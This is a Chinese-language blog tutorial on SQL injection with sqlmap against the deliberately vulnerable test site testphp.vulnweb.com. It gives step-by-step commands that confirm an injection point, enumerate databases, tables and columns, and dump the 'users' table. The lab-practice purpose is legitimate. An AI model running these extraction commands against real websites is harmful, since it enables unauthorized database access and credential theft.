大家好,今天做了SQL注入漏洞的實驗,工具是大家熟悉的Sqlmap,Sqlmap是一款開源的SQL注入漏洞檢測與利用神器,沒有之一,測驗平臺是漏洞掃描工具AWVS的測驗平臺:http://testphp.vulnweb.com,kali系統,
先簡單介紹一下Sqlmap工具,這款工具堪稱神器,因為支持眾多資料庫:MySQL,Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB, HSQLDB and Informix,支持的引數位置廣:GET,POST or Cookie parameters or via the HTTP User-Agent request header,下面介紹一下操作步驟:
一、GET請求方式:
1、找到有資料庫互動的功能頁面,進入測驗平臺,在地址欄輸入如下網址:http://testphp.vulnweb.com/artists.php?artist=1,在url引數artist=1后加分號“ ’ ”,出現資料庫報錯提示,

2、 基本判斷這個頁面存在資料庫注入漏洞,利用這個注入點,根據sqlmap語法,執行這樣的命令:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"
3、根據結果顯示,GET引數artist is vulnerable(artist是可以注入的),進一步測驗,看看哪些用戶,在命令列后加 --users (注意,有空格),
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --users
結果顯示如圖:

4、也有可以加空格--dbs,看看有哪些資料庫,
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
結果如圖:

5、接下來查看當前用戶和當前資料庫,加入 --current-user --current-db,命令如下:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-user --current-db
結果如圖:

6、接下來讀取資料的表資訊,命令列后加空格--tables -D "資料庫名"
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "acuart"
結果如圖:

7、 查看某個表的內容(以users為例),首先讀取表的欄位資訊,命令列如下:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "users" -D "acuart"
結果如圖:

8、 如果查看這張表有多少條資料,命令列如下:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --count -T "users" -D "acuart"
結果如圖:

9、 那么要讀取表達資料內容,執行如下命令列:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart"
結果如圖:

備注:所有的操作資料都會同步保存在本地的一個檔案夾中:#/root/.local/share/sqlmap/output/,
10、如果想讀取某條至某條記錄,此例讀第2條到第4條記錄,命令如下:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart" --start 2 --stop 4
結果如圖:

11、 如果讀取資料庫所有表,命令如下:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump-all -T "users" -D "acuart"
結果如圖:

以上操作是Sqlmap的注入資料庫漏洞的部分操作方法,希望對您有所啟發和幫助,感謝分享!下期做針對post請求的操作方法!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/299466.html
標籤:其他
上一篇:“我永遠都無法理解人類!” OpenAI “殺”死了那個成功模擬已故未婚妻的 GPT-3 機器人
下一篇:干貨:教你如何在家接入公司局域網
